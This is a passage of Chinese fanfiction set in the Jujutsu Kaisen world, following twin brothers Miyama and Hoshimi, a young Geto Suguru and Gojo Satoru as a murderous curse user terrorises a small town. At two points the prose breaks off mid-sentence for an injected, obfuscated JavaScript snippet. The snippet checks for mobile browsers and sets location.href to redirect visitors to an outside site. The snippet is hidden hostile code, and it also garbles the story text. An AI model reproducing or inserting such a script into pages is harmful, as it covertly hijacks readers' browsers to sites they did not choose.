星海招手,他闭上眼睛呼出一口气,快走两步跟着星海离开了小巷,留下浑身上下的伤口还在散发着尖锐疼痛的茂和一地狼藉。 这不过是“普通的生活”中可能会发生的小插曲,他们谁也没把这件事放在心上。至少弥山已经早早将这件事抛到脑后了。 他们在公寓楼下见到了许久不见的夏油杰。他剪短了头发,刘海看起来也精心修剪了一番,就是不知道符不符合他自己的审美。 黑发的孩子蹲在门口,身边是一个小小的纸箱子。 “堵在这干什么?”弥山问道。 “......”夏油杰扒开旁边的纸箱,里面是那只有着长长毛发的小白猫的尸体。脸上、身上全都是红通通的血,身上满是伤口。 “?”弥山有一阵子没留意这个小家伙,这个伤口看上去像是被生生扯开的。 “我是在靠近森下町那边发现的,”夏油杰努力不让自己的难过表现得太明显,“看起来它是在‘回家’的路上又碰到了那些流浪狗。” 这次没有“夏油杰”再去救它了。 “真倒霉啊,”弥山语气没什么变化,“你准备把它埋在哪?” 他看着黑发的孩子抬头望向他,张开嘴却欲言又止,眼神变化几番,最终低下头说:“倒霉......吗?如果我把它带回家,它就可以不用在外面流浪了。” 也就可以不用那样痛苦地死去。 星海绕过他们,径直上了楼。弥山看了两眼他的背影,心中不免猜测他是不是真的不太喜欢夏油杰?也许只是讨厌夏油杰无视了他的好心忠告吧? “你很喜欢它?” “......也不是吧,但是看到这样的幼崽难免会让人在意。它还太小了,根本保护不了自己。” “......”身边的人没有说话,而是沉默地想着什么。 夏油杰抬抬眼皮,将视线从猫崽的尸体上拔了出来。他其实也搞不清楚自己究竟是怎么想的,但他的确有想过如果他曾经为小猫崽提供了“保护”,它的未来会不会不一样。厌恶的感觉在他心底油然而生,可,他讨厌的究竟是什么? 弥山坐在他旁边,伸长的腿跨过两级台阶。他伸出一只手到箱子里抚摸着那具小小的身躯,小猫崽的尸体已经彻底僵硬了,伤口和肚腹的毛发上还沾着泥土污物。 “就算藏在刀枪不入的匣子里,只要有一天它决定离开这个庇护所,也只会遍体鳞伤。” “......那我要怎么做才能不让他们受伤?” “很简单,”弥山将手拿出来,伸出食指放在纸箱的正上方,搅动着空气,“把它周围的威胁除干净。” 这样的话,匣子里是安全的,匣子外也是安全的。 弥山不知道想到了什么,笑意让他的音调都诡异地扭曲了起来,向上扬起:“周围有狗觊觎不属于他们的东西,那就杀掉......” 从身后的楼道中飞出了一个空的易拉罐,在夏油杰眼前直直地砸在了弥山的后脑勺上,发出响亮的“当”的一声。弥山被这一罐子打得向前失去了平衡,罐子里残留的液体溅到了他的头发上。 夏油杰有些被吓到了,居然无措地看向星海想要寻求帮助。 站在楼道里给弥山的头来了一记易拉罐痛击的星海沉着脸。 “......星海你这混蛋!!”弥山跳了起来,不管不顾地扑了上去准备和星海大战三百回合。星海扯着他的领子,两个人拉拉扯扯直接上了楼,谁也没顾得上搭理一下迷茫的夏油杰。 他还是没有理解弥山的话究竟还有什么深意。 “想要保护什么东西,就要除掉周围有威胁的存在?” 这在逻辑上也说不通啊。小猫崽在这片街区流浪,不光是狗,甚至是不喜欢猫的人类、来往的车辆都有可能造成它的死亡,也许会吃掉加了老鼠药的饵料而死。为了保护小猫崽能够顺利活下去,这不是相当于毁掉周围的所有东西吗? 那不是,相当于将它装进另一个大号的匣子里了吗? 被塞了满脑子歪理的夏油杰晃晃悠悠地回家去了。 37.不一样 星海将弥山扯回家里后,砰地砸上了门。 他们在玄关处打了一架,扫倒了鞋柜,又争执到了客厅,打翻餐桌的声音终于引来了邻居的注意,敲门询问究竟发生了什么事。 弥山用膝盖顶开压在他身上的星海,一边起身,鼻血一边往下流。 星海也好不到哪里去,颧骨上挨了一拳,已经开始逐渐红肿起来了。他站起身,开门应付邻居的关心。 弥山坐在一地狼藉的客厅,一直用手背蹭着流个不停的鼻血。 关门声响起,星海走了回来,抬脚踢开他的腿,将碎掉的瓷片扫到垃圾桶里。 “别做多余的事。” 弥山扭头:“你少管我。” 星海踱步来到他的身边,居高临下俯视着弥山的头顶。他的视线太过炙热,要像烤箱一样将人烤熟似的,弥山终于顶不住抬起头:“又怎么了?你可比我任性多了,好意思说我?还想翻旧账、吗......” 为什么呢?为什么偏偏我们是兄弟?为什么我和你不一样? 星海蹲下来,向前,伸手抱住了弥山。 就像他们小时候、就像他们刚刚降生之后,他恐惧着周围的一切时那样。 他对着与自己半身相通的灵魂、对着多出来的那半颗人心说:“为什么不能放过我?” 弥山一把抓住他的头发,用那该死的轻快声调说:“你就是想得太多。你明明知道我明白自己和其他人不一样,却还拉着我不放......你为什么不能放过我?” 他凑到星海的耳边:“既然都放不了手,星海又是个胆小鬼,轻松一点不好吗?” 什么都不用想,只是为了自己。 真正的他们是什么样的,只有他们自己知道。知晓了他们的本性,除了彼此,还有谁会爱他们呢? 星海死死抱住了他。 —— 有一个诅咒师在水海道附近杀了人,尸体被大大咧咧地扔在了路边,没有丝毫遮掩的意思。 只有咒术师能看见的残秽残留在了尸体的身上,死去的人只是一个普通人,实施咒杀的诅咒师没有丝毫遮掩痕迹的意思。 夏油杰看了看弥山,跟着他们两个人走开了。 “咒术界就让这种人大摇大摆地活着吗?” 最近他总爱去找弥山他们,通常情况是在和弥山聊天,星海依旧对他采取消极的回避态度。 “不知道。但是族里没听说过有针对诅咒师的什么说法,那么多咒灵都搞不定呢。” 弥山说的是实话,诅咒师基本不会选择和咒术师对上,他们的目标大多都是普通人。整个咒术界的正经咒术师除了各大家族培养起来的,就是从社会各地招募到高专培养的打工人。 五条悟那样的是例外,一些大家族的继承人总是会遭人“记恨”,总有亡命徒选择赌一把。 在没有委托和利益冲突的情况下,咒术师和诅咒师表面上是相安无事的。 至少弥山没听说过族内有过要讨伐某个诅咒师的任务。 “是这样吗?”夏油杰回头,那具尸体已经被迅速地处理了,附近的地面上还留着刺眼的血迹和只有他们能看到的残秽。 “估计很快就走了吧,”弥山抱着装满蔬果的纸袋,“私人委托应该能赚不少,识时务一点的家伙很容易就能混得风生水起。” 只要脑子不短路,就能在咒术师、咒灵和委托之间巧妙地周旋。 他突然想起禅院甚尔,不知道那家伙现在还在干原来的“工作”吗? 如果他们没钱了他就背着星海偷偷去干诅咒师。 事情并没有如他所说地那样,轻松地翻篇。 这个诅咒师似乎是和水海道干上了,一个月内搞出了两条人命,而且据说还有人在公园里发现了破损的人皮。 学校已经要求所有人尽早回家,附近警察署又忙碌了起来,挨家挨户敲门检查的同时叮嘱居民晚上尽量不要出门活动,所以最近水海道晚上的大街上几乎看不到人。 夏油杰在父母的要求下也只能在放学后直接回家,没有再去找弥山他们。 无言的沉重氛围开始在这个小城镇里蔓延着。 弥山觉得这个诅咒师的脑子一定不正常。不管是频繁地出手还是传闻中剥人皮的行为,怎么看都不像是单纯地完成委托,更像是在体验杀人的乐趣。这是个拥有咒力的变态杀人犯。 “敢明目张胆这么干,明显没打算在这里待多久,”弥山摁下遥控器的按钮,调换着电视频道,“只要不打宿傩手指的主意就行。” 星海闭着眼睛躺在沙发里,不知道有没有在听他说话。 弥山放开遥控器,翻开手机。新年后他们就买了一台手机,用于联系学校的老师和五条家的人。 现在联系人里多了一个夏油杰。 弥山打开夏油杰发来的短讯,那小孩和他说:我碰到那个诅咒师了。 夏油杰是被若有若无的残秽吸引过去的。城镇东边房屋排布逐渐稀疏,慢慢的整条路上已经看不到成片的建筑,只剩下一个个独栋的房子。路旁挨着的就是栽满玉米的田地,现在正是初夏,刀片一样的翠叶竖起,成千上万。 风吹过,氧化后血液的铁腥味像是被海浪推上沙滩的贝壳一样,在落日余晖的照映下闪闪发光。 夏油杰的手机振动了两下,收到了回信。 ——看完了就回家吧。 他翻来覆去地将这几个字看了很多遍,夕阳照在他的手机上,让屏幕上的字体变了颜色。铁锈的味道只有风吹起来的时候才能闻到,一旦风停了,这片田地里就像什么都没有发生过,看起来一切正常。 他在原地站了很久,最终在太阳完全落山之前往家的方向走去。 三天后,他才从电视新闻频道里见到有关东边田地里惨案的报道。 走在路上,随时随地都能听到有人在痛骂警察们的无能,抱怨那个不守规则的社会败类,打乱这里平静日常的疯子。 不过,他也听到了好消息。弥山跟他说,过几天应该会有咒术师过来,但是他也不确定究竟是来检查宿傩手指的同时顺便看看,还是专程为了处理这个诅咒师。 “是族里的人。” 夏油杰问过他,什么是“族里”?他们的姓氏“五条”听起来很容易让人联想到封建古板的大家族,那就是五条家的咒术师喽? 他们看起来不太喜欢自己的姓氏,不过从老师到同学都叫他们的名字,毕竟只叫姓氏就分不清他们了,这倒是免去了很多麻烦。 族里有人要来水海道这件事还是五条悟和他们说的。至于五条悟是怎么搞到他们的手机号的......问了也是白问,总之五条悟成功把自己塞进了他们的联系人名单里。 五条悟说他已经“拜托”那个人顺道把诅咒师解决掉,这样弥山他们就不会被打扰到了。不得不说,那个小白毛有的时候非常体贴。 可事与愿违,族里的咒术师死在了那个诅咒师手上。 粟坂二良掀开雨衣,防水的雨衣外面全都是淋漓的血水,他蹲在自己找上门来的咒术师身前,翻找着尸体身上的东西。 “哼,穿得这么古板,应该是御三家的人吧?” 在扒拉衣服的时候,看到了印在衣领内的五条家家纹。 “五条?” 以杀人为乐的诅咒师打了个冷战。遇见六眼后的恐惧好不容易通过接连不断的杀戮压制了下去,可只是再一次听到那个姓氏,那种无力感和恐惧又冲破了牢笼,重新爬了回来。 针对五条悟的悬赏奖金太过诱人,连粟坂二良这样热爱杀人更甚于金钱的人都眼馋得很。所以他花了大价钱买到了五条家的小少爷离家的时间,他去了,他被吓跑了。 只是对视了一眼,粟坂二良就明白为什么这些年咒灵的诞生和力量都远胜于从前。就是因为他!就是因为五条悟!这个孩子的诞生改变了世界的格局,因为六眼和【无下限咒术】将咒术师的水准提高到了几百年未曾有过的高度,所以他们的“对立面”也在无限地成长着。 明明已经离开了东京,为什么还能在这里见到五条家的人?就因为那一眼,他们想要除掉所有对他们家的宝贝动心的人? 没有这样秋后算账的啊! 不过,这次只来了一个人,而且也没什么本事......是不知道他的术式所以大意了吧?嘁,大家族的人就是这样,自大得很。 好不容易找到了手感,再在这里待上一段日子吧......如果碰到第二个五条,他就离开这座城镇。 弥山关上手机屏幕,侧头对星海说:“族里的咒术师死了。” 星海还在厨房泡咖啡,闻言回道:“所以本来是来干什么的?” “应该是例行检查之类的吧。”五条家是知道宿傩的手指被保存在八幡神社的,只来了一个人,估计就是来确保封印一切正常,本来没打算对上那个诅咒师。被五条悟“拜托”了,所以单枪匹马找了过去。 怪不得五条悟给他发的短讯破天荒没有带上任何稀奇古怪的小表情。 他合上手机,咖啡的气味从厨房里飘了出来。他不明白为什么星海喜欢喝那种苦不拉几的东西,而且他尝过一次之后一整夜都没睡着,自此不敢随意提出想要尝一口的要求了。 今天是周末,他们准备去超市采购一番,填满快要空了的冰箱。走到楼下的时候,看到夏油杰正坐在街边小公园的玩具小象上,还是一副沉默的样子。 “总想得太多容易掉头发,以后会秃顶的!”弥山拖着脚步走了过去,这一次星海跟在了他的后面。 夏油杰的声音闷闷的,展示出十足的迷茫和不解:“新闻里说那个人在无差别地随机挑选受害者。” 盛夏的蝉鸣让空气里多了几分燥热,只是短短几分钟弥山的眼罩下就开始出汗,而夏油杰的背心上很干脆地湿了一大片,不难想象他已经在这里发了多久的呆。 弥山跨坐在他旁边的犀牛玩具背上:“所以?” “......咒术师为什么不来阻止他?他已经伤害了很多无辜的人,一般人怎么可能反抗得了诅咒师?” “准确地说已经有咒术师来试过了,但很遗憾,那个诅咒师比想象中的要厉害。” “是你们族里的人?” 在得到了肯定的回答之后,夏油杰变得更加迷茫:“那不应该更快点叫更多的人过来吗?他跑了怎么办啊?” 很现实的问题就是咒术师常年缺人,每年高专收的学生少则一个没有,多则多不过五个,仅凭这点打工人每天满国家到处转悠。想要使唤家族术师出手更是难上加难,虽然咒术界表面上一直宣扬“咒术是为了保护非术师而存在的”,但单看禅院家的德行也知道根本就是表面一套背地一套。 “估计短时间内不会有人来了,”弥山将下巴搭在“坐骑”的脑袋上,“等他自己玩腻了去别的地方吧。” 夏油杰盯着象鼻子:“我不太明白......” 他不太明白这个咒术界。有家族术师、有从普通人中找到的术师,咒术界的管理者们会分发祓除咒灵的任务给这些术师,维护社会安定,保护普通人不受诅咒的伤害。笼罩着整个国家的结界、放置在容易滋生诅咒的地方的咒物,也都是为了确保减少诅咒和咒灵的诞生。 这的确是在保护普通人,与他们宣扬的口号一模一样没错。 可是为什么不处理这些诅咒师呢? 如果不在这里消灭他的话,不是还会有更多的人受到伤害吗? 夏油杰抬起头,看到坐在公园边缘矮栏杆上的星海,又看向在他身边看手机的弥山。 他突然生出了一个想法,一个他绝对不可能说出口、也决不允许自己说出来的想法。 ——是你们的话,就能做到吧?为什么你们不去做呢? 那年夏天过得很快,粟坂二良似乎真的被五条这个名字镇住了一段时间,消停了几个月。 在快要入冬的时候,笃定五条家并没有想要针对他,粟坂二良重新出手了。 夏油杰再次来到这个小公园时,天空中已经飘了很久的雪,有附近的孩子在这里玩耍。家长紧紧盯着孩子们,生怕一眨眼他们就像被戳破的泡泡一样消失。 秋千上坐着一个人,不知道是不是坐得时间太久,他的头发上都落了一层雪,白得过分。 “你已经坐了很久了,该换人了!”一个裹得严严实实的小孩像只小企鹅一样在秋千旁边打着转。 “哈?老子才不要呢!我来得早,这里就是我的!”秋千上的少年和小孩子拌嘴,夏油杰靠近了几步,听到那个少年三两句话就把小孩气哭了。 收回毫无形象的鬼脸,五条悟发现了站在公园外盯着他的人。 身上有咒力,是咒术师?刘海奇奇怪怪的,看起来是个品味很差的家伙。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16164091|180318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夏油杰这才意识到五条悟的头上不是落雪,而是货真价实的白色头发。这家伙连眉毛和眼睫毛都是白色的啊......白化病吗?在这种天气出来? 被气哭的小孩子想要上手推搡五条悟,被他用一根手指戳着额头推到了雪地里。 夏油杰微微皱起眉头:“别欺负小孩啊。” 五条悟坏笑着吐舌头:“你管我?” 这话怎么听着这么熟悉......夏油杰只花了一秒钟就把这人说话的语气和弥山的脸对在了一起,莫名觉得他们俩很像怎么回事? 五条悟也把夏油杰的脸搬到了族里那些总爱在他身边管这管那的老头子们身上,居然一点也不违和!! 他哼了一声,从兜里掏出手机迅速打字,问弥山他们怎么还没回来,他就要被冻死啦! 那个哭闹的孩子被家长抱走了,夏油杰扫掉玩具小象上的积雪,坐了上去。 听说白化病的孩子眼睛也会变成其他的颜色,这种天气出来真的不会有问题吗? “你......” “你是夏油杰?” 他们异口同声地开口,夏油杰惊讶对方为什么知道自己的名字,五条悟一脸不爽地把手机屏幕伸到他眼前,夏油杰清楚地从屏幕上看到了发来短讯的联系人的名字—— “不是朋友的讨厌鬼1号?这是谁?” 短讯里写的是“悟,有个黑色头发、刘海很奇怪的孩子叫夏油杰,你们俩碰上了就去楼道里等着吧。” 什么叫刘海很奇怪!? “你认识弥山和星海?”夏油杰问道。 五条悟没有回答他的问题,而是挑剔地上下扫视,仿佛在评估着什么一样。 这种不听人说话的毛病倒是像得很。 和弥山他们有联系,备注上出现了“朋友”、“讨厌鬼”,应该是挺熟悉的人。据夏油杰所知,弥山和星海过去没有是普通人的朋友(其实现在好像也没有),那么结合他们频繁提起的“族里”,由此夏油杰推测这个少年是五条家的人,没准还是个咒术师。 “五条、悟?” 被猜出名字的五条悟往后仰了仰头,那双漂亮的眼睛里塞满了嫌弃,或许还有点不满?夏油杰不知道自己是怎么看出那么多情绪的,但是五条悟下一句话就解答了他的疑惑。 “他们连这些都跟你说?嘁。” 那个“嘁”说得特别大声,似乎故意重重咬字来表达本人的不爽。 总觉得很火大,夏油杰的微笑脸崩了一瞬间,又被他坚强地拼了回去。既然是五条家的人,这个时候过来......难道是为了那个诅咒师? “什么诅咒师?”五条悟晃着秋千,一点都没有离开的意思。 “你们家之前有人被他杀了,你不是为了他过来的吗?” 夏油杰说完就有点后悔,觉得自己应该是猜错了。五条悟看起来和他差不多大,就算是五条家的人,也不应该让他一个人来这边处理诅咒师的事。 其实猜错了也没什么关系,主要是他莫名有一种不想在五条悟面前猜错的冲动,因为总感觉那样就输了! 真是不知道从何而来的胜负欲。 “诶——那家伙还没走吗?”他这么一说五条悟就想起来了,族里那个被他强迫加班的咒术师......他故意拉长了声音,想要将心里那点不自在压下去。 果然是这样,夏油杰想道。就没有人能够阻止他吗?难道咒术界就没有一个人愿意制止一下这样的行为吗? 为什么弥山、星海和五条悟看起来都习以为常的样子? “你是有术式吧?是什么?”五条悟很快就被别的东西吸引了注意力。 “是【咒灵操术】。” 五条悟愣了一下,他只是随口问问,没想到夏油杰真的说出来了。隐藏自己的术式信息,在必要的时候进行术式公开来用束缚增强力量,这几乎是所有咒术师心照不宣的事情,尤其是面对不知道是敌是友的人的时候。 再加上他有六眼,夏油杰不说他也能在他使用术式的时候直接看出来。 “......你真的是野生的啊。” “哈?” 不过【咒灵操术】的确非常少见,五条悟想要亲眼看看夏油杰用他的术式,夏油杰也就顺着他的心意,把自己最近捉到的一些咒灵放了出来。 然后就被五条悟指着天上的蝇头狠狠嘲笑。 “这是什么!?哈哈哈哈哈哈哈!为什么、哈哈、要抓蝇头啊!?” “那不是因为这附近根本没有其他的东西吗!!?”夏油杰被他放肆地嘲笑激得脸上发热,他趁着所有可以自由行动的时间在城里的大路上转悠,真的基本上只能见到蝇头啊!! “你也太浪费了吧!” “哼,要是我能收服厉害一点的咒灵,哪还需要找你们这些人,我自己就能——” 夏油杰说话说到一半突然停了下来。他突然意识到一个很现实的问题,如果他刚才顺着自己的话说完,会是什么?他自己就能打败那个诅咒师? “你们咒术界有什么监狱之类的,能够关押干坏事的诅咒师之类的吗?” “别‘你们’、‘你们’的,监狱?哪有那玩意啊?” “那你们抓到的那些诅咒师怎么办?” 五条悟的头发快要和他身后的雪融为一体了,他有些好笑外加不解地说:“抓?谁会抓诅咒师啊?” 夏油杰的语速不知不觉间变快:“那你......咒术界要怎么处理这些伤害了普通人的家伙们?” “也许直接死刑处死?有利用价值的就留下来给老头子们卖命呗。” 死刑!?处死!?这是二十一世纪能听到的话吗!? “......我姑且问一句,咒术界有咒术法庭之类的东西吗?” “没有吧。” 那谁来决定他们的生死?咒杀普通人的诅咒师被判处死刑夏油杰肯定举双手双脚赞成,但连法庭都没有......不,咒术界本来就有别于一般社会,大概、可能、也许不太遵守普世的法律? 这......这对吗?这和夏油杰想象中的咒术界出现了些许的偏差。至少从平安时代就发展至今的咒术界,怎么听起来这么原始呢?五条悟说死刑是由总监部的老头子们下达的,他们定下的就是整个咒术界的规矩。 更可怕的是,五条悟没觉得这有什么不对。 38.动摇 很久以前,咒术师诞生后,他们将咒术作为祓除蔓延诅咒的手段,以守护众人为业。然而他们毕竟只是一个“个体”,要祓除随着人口比例增添力量的咒灵,难免达到极限。于是咒术师们开始联手,这便是延续至今的咒术师的世界。 咒术总监部都是由什么人组成的?御三家的长老?新阴流的当主?还有各个小家族推举上来的保守派超级拥趸? 夏油杰觉得自己姑且算是一个很正常的人。 有过“加入咒术界,在暗中保护普通人”这样的英雄式想法,甚至在吞下第一个咒灵玉的当晚他就发誓要用自己的力量保护身边的人。 “不幸”——星海曾说过那边是不幸的。 脑子里乱糟糟的夏油杰用拇指抵着额头,最近他很喜欢这么做。 “所以这个诅咒师有被下达......处死的命令吗?还是必须要抓到他送去总监部才会被定罪?” “我怎么会知道这些?每次见那些老头子们都是一些有的没的,死不死刑的跟我又没关系。”五条悟毫不在意地耸耸肩。 夏油杰长叹一声:“要是我有更厉害的咒灵就好了,这样我就能亲手抓住他。” 五条悟的眼睛突然亮了起来:“你要去揍那个诅咒师?我跟你一起去!” “其实我根本打不过,会死的吧......不过,为什么?” “什么为什么?你不是想揍他吗?” “问题不是这个啊!我是说,你为什么要跟我一起去?” 五条悟就像在说为什么人要呼吸一样回答他:“因为我很强啊!你这个怪刘海看起来就很弱,那可是能杀了二级术师的诅咒师,你自己去不是送人头吗?” 他轻嗤一声:“安心啦,老子以后可是最强咒术师,而且不是还有弥......” 弥山一手一个,摁住五条悟和夏油杰的头,将他们转了过来:“星海说的还是有点道理的。别多管闲事啊,小鬼们。” 星海照例留给他们一个背影,直接上楼去了。 五条悟甩甩头,从秋千上跳了下来:“冻死我啦!!你们也太慢了!” 夏油杰站起来,发现五条悟居然比自己还高。 弥山转身回家,他们一前一后跟着上了楼。五条悟刚进门就探头探脑地打量屋里的摆设,星海正在烧水,弥山说着“晚上吃寿喜锅哦”,一边接替星海的工作,去厨房里处理食材。 五条悟脱了鞋,很快就将整间公寓摸了个清楚,最后霸占了沙发上夏油杰常坐的那块地方:“有游戏吗?” 夏油杰从书包里摸出了作业,坐到餐桌旁边。 “没有,只有漫画书,找星海要。”弥山的声音伴随着水流声传了过来,夏油杰准备赶快完成学校的作业,之后就能向弥山讨教咒术方面的问题了。他刚开始动笔,就感觉一颗头从旁边凑了过来。 “怎么?” 五条悟靠在旁边看着他写作业。这就和考试的时候监考老师总是在身旁晃悠一样让人难受,只能祈求对方快快走开。 “悟数学很好,有什么问题别客气,尽管问,”弥山取出肉化冻,“不问白不问,给他找点事做。” 五条悟手一指,抬起下巴:“写错了!” 夏油杰拿橡皮擦掉那个答案,嘴硬道:“我知道!” 五条悟就像是拿到了什么毒舌许可一样,挨个挑着夏油杰写错的地方找,到了后来甚至开始挑起他笔画字迹的错,被忍无可忍的夏油杰赶下了桌。 “为什么突然想过来?”弥山问蹭着墙走进厨房的五条悟。 明天就是他的生日,按理说今天晚上就应该开始准备,五条家的人必定不会让他现在还有时间到处乱跑。 卧室里,星海面无表情地摁掉了一个又一个电话。 五条悟罕见地没什么精神,不知道是不是冻坏了。他支支吾吾了半天也不肯说到底是为什么早上发了条短讯,下午就跨越几百公里跑到了茨城来找他们。 “......”看他那头张扬的白毛都没精打采地耷拉下去了,弥山觉得既然问不出来那就算了,想那么多干什么,好好吃饭才是大事。 其实五条悟只是在家待得腻了所以找了个机会离家出走。他又不是第一次干这种事,在他觉醒了【无下限咒术】之后,就算没有弥山和星海“绑架”,他自己也能想出来就出来。当然也遇到过很多不长眼睛的小杂鱼,但还没有胆子大到真的对他动手。 至于被叫去总监部,每次来来回回说得都是那些事。无外乎是那个不属于他、也必将属于他的——最强。 躲在障子门后面的那些人就像举着什么项圈一样追在他后面,觉得拿这样一个名号就能牢牢套住他。 五条悟从出生起就明白自己的与众不同。他的独一无二又不是因为那个假大空的名号。 回到家之后又看到礼仪姿态好像一个模子刻出来似的人来来回回在眼前晃,不论走到哪里都有人跟他唠叨明天的仪式流程,每个人都怕他犯错。他不用为那些错误付出代价,最后受罚的只有那些五条悟连脸都记不住的下人。 老子不干了!! 他连这句话都只是在自己心里吼着,直接从家闯了出来。 他下意识地点开了通讯录,谢天谢地这次他记得带上手机和足够的钱,想也没想就给联系人最上方的人发去了短讯。 直到中午他才收到了回信,那个时候他人都已经在新干线上了。 就算拒绝也没用,五条大爷驾到,就算是弥山和星海也必须迎接他!他还记得他们欠他好几顿蛋糕和一次迪士尼。 “蛋糕在冰箱里,自己拿去吃。”弥山嫌他占地方,将人赶了出去。 五条悟端着小蛋糕坐回沙发上,终于安静了下来。 夏油杰很快写完了让人头皮发麻的数学——主要是他实在不想再在五条悟面前计算那些数字,国文和英语倒算是得心应手,他极快地完成了它们。 他已经闻到锅底的味道了! 星海在弥山准备的期间出来视察过一次,尝了一下调味并且亲自修改了锅底的材料,因为他实在不放心让弥山一个人准备这么重要的东西。毕竟在烹饪部都没人敢第一个尝试弥山独自做的料理。 吃完蛋糕的五条悟满血复活。 弥山只一会没注意,夏油杰和五条悟就已经凑到一起去,不知道在聊什么。 “你这真的靠谱吗?怎么听起来......” “《周三特别节目》、《真实恐怖故事》,还有那个《你不知道的世界》,虽然多少有点夸张和编撰的成分在,但也有可能有意外收获。” 五条悟提议让夏油杰多看看以真实灵异现象调查为内容的电视节目。夏油杰对此保留怀疑的态度,但对方至少比他更了解咒术,所以他准备下周开始看。 “你那是什么眼神!?我本来准备自己的看着玩的,要不是不方便出来,哪能轮得到你啊!” “不,我是真心觉得你这个‘大少爷’还挺新潮的。” “哼。”五条悟挤出一声来。 “......你真是大少爷?” “我看着不像吗?所以你之前是在损我吗!?” 夏油杰一不小心就将五条家想象成了什么古板封建的大家族,能把五条悟养成这个性格,他起码不会是个身份简单的人。他以为“大少爷”可以当做形容词,但没想到居然是个名词。 雪夜和热气腾腾的寿喜锅最配了。 略小的锅被架在炉子上,汤底咕嘟咕嘟冒着泡,蒸腾的热气模糊了他们的视线,熏得天花板上湿漉漉的,结满了小水珠。 五条悟和夏油杰聊起了最近流行的游戏,从宝可梦说到假面骑士,居然聊得还不错。弥山和星海不怎么说话,电视机里放着新闻频道,他们一边看一边吃。 这是夏油杰从未体会过的感觉。 因为工作的原因父母很少和他坐在一起吃饭,一个人面对空荡荡的餐桌和一群人围在一起吃饭的感觉是不同的。人多人少只能算作原因之一,因为他在学校的时候也是和同学们一起吃饭,但从没有这样“被接纳”的感觉。 他在得到了区别于普通人的力量之后,总是不由自主地想要保护他人。这是他内心良善的真实体现,也是他的自负之处。因为自觉有了高人一等的力量,慢慢地也就自我隔离,将自己和旁人区别开来。 这种藏在“世界另一面”,为了不知情的人们战斗的感觉真的很棒。 所以,关于宝物与匣子的论证就显得极为重要,这关乎他未来前进的方向。 在茨城再次活跃起来的诅咒师又被新闻提及,他的活动轨迹已经不止水海道,在隔壁的城镇也发现了相似的尸体。 夏油杰透过白色的水蒸气看了一眼自己的“同伴”。至少现在他已经不是孤身一人了,关于未来的选择,似乎也并不急于一时。 总会想明白的。他乐观地想道。 晚上,五条悟得到了留宿许可,弥山给他收拾出来一个小房间,里面正好摆的是从主卧里搬出来的软床。因为弥山和星海更喜欢和室那种榻榻米,所以主卧里面铺的全是榻榻米,他们想睡在哪个角落都行。弥山也试过睡壁橱,但他们家的这个太小了,他睡了两晚就失去了兴趣。 他们第二天还要继续去学校,所以早上给五条悟留了早餐和一把家门钥匙。 中午看手机的时候,五条悟说他已经回家了。 弥山把收件箱和未接来电一键清空,可怜的手机终于能够消停一阵子。他又想了想,点开了和五条悟的聊天界面,编辑了一段信息发了过去。 没等几分钟,那边回了一个“OK”。 夏油杰最近不怎么来找他们了,据说是放学会去教堂附近。他已经尝试过五条悟说的“看灵异节目”的方法,但是那些节目拍摄的地点离水海道太远了,如果不是放假的话,夏油杰根本没有理由说服父母允许自己出行。 但是教堂就不一样了,这里有很多所教堂,偶尔运气好的话,夏油杰能够见到不是蝇头的咒灵。虽然级别不高,但至少从攻击性来说要强于只会像苍蝇一样发出扰人噪音的蝇头。 他在医院收服了第一只二级咒灵。他的运动神经很好,又跟着弥山学了一段时间的咒力操作,现在已经能使用简单的强化术,让自己的拳头附加上咒力,他就这么一拳一拳把那只咒灵揍趴下了。 “......为什么式神使都喜欢当近战法师啊。”弥山对夏油杰的战斗方式发起了吐槽,但黑发的孩子显然有点乐在其中。 罢了,至少如果有人因为【咒灵操术】而选择接近术师本人的话,夏油杰会让他狠狠吃一套近身格斗精通。 五条悟的再次到访发生在两个星期后,也就是新年的那一周里。 “你们不是放冬假吗?我为什么不能过来?” 他说得理所当然,好像把这里划进了自己的领地一样自然。如果真要论起来,这里的确是他家的地盘,毕竟是用五条家的钱买的,五条家的四舍五入就是他的。 “臭小鬼不许在沙发上吃零食!!星海刚收拾过的地方,待会他回来我要挨骂的!!” 弥山和星海正在进行新年前的大扫除,去年买的门松之类的装饰都堆在杂物间,收拾出来扫扫灰还能继续用。 自从五条悟学会【无下限咒术】之后,他吃甜食就开始彻底放飞自我,因为他再也不用害怕牙齿被糖分侵蚀了。但这也不是他窝在刚刚换好布罩的沙发上吃到处掉渣的花生酥的理由! 弥山趁着星海去浴室洗抹布的时间迅速把没事干的五条悟和夏油杰赶出了家门。 “晚饭前回来就行,记得买菜!”他将现金和列好的清单塞到他们手上,毫不留情地关上了门。 被赶出家门的两个小孩看着冬天的太阳,决定找个暖和点的地方待着。 如果让五条悟来选的话,那必然是各种甜品店和饮料店,但是夏油杰一时也想不出来究竟该去哪里,索性就由着五条悟把他带进了影像租赁店。 影像租赁店?夏油杰进门前看见了TSUTAYA的招牌,五条悟已经熟门熟路地去挑选碟片了。这里有试听试看DVD和CD的区域,也有小包厢可以看完整的影片。 看五条悟的动作对这里,不,是对这种影像租赁店很熟悉。夏油杰全程保持着“?”的疑惑脸跟在五条悟后面,直到坐在小包厢里,听着电影开头的音乐、看着电影公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16170986|180318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 司的logo才终于有了实感。 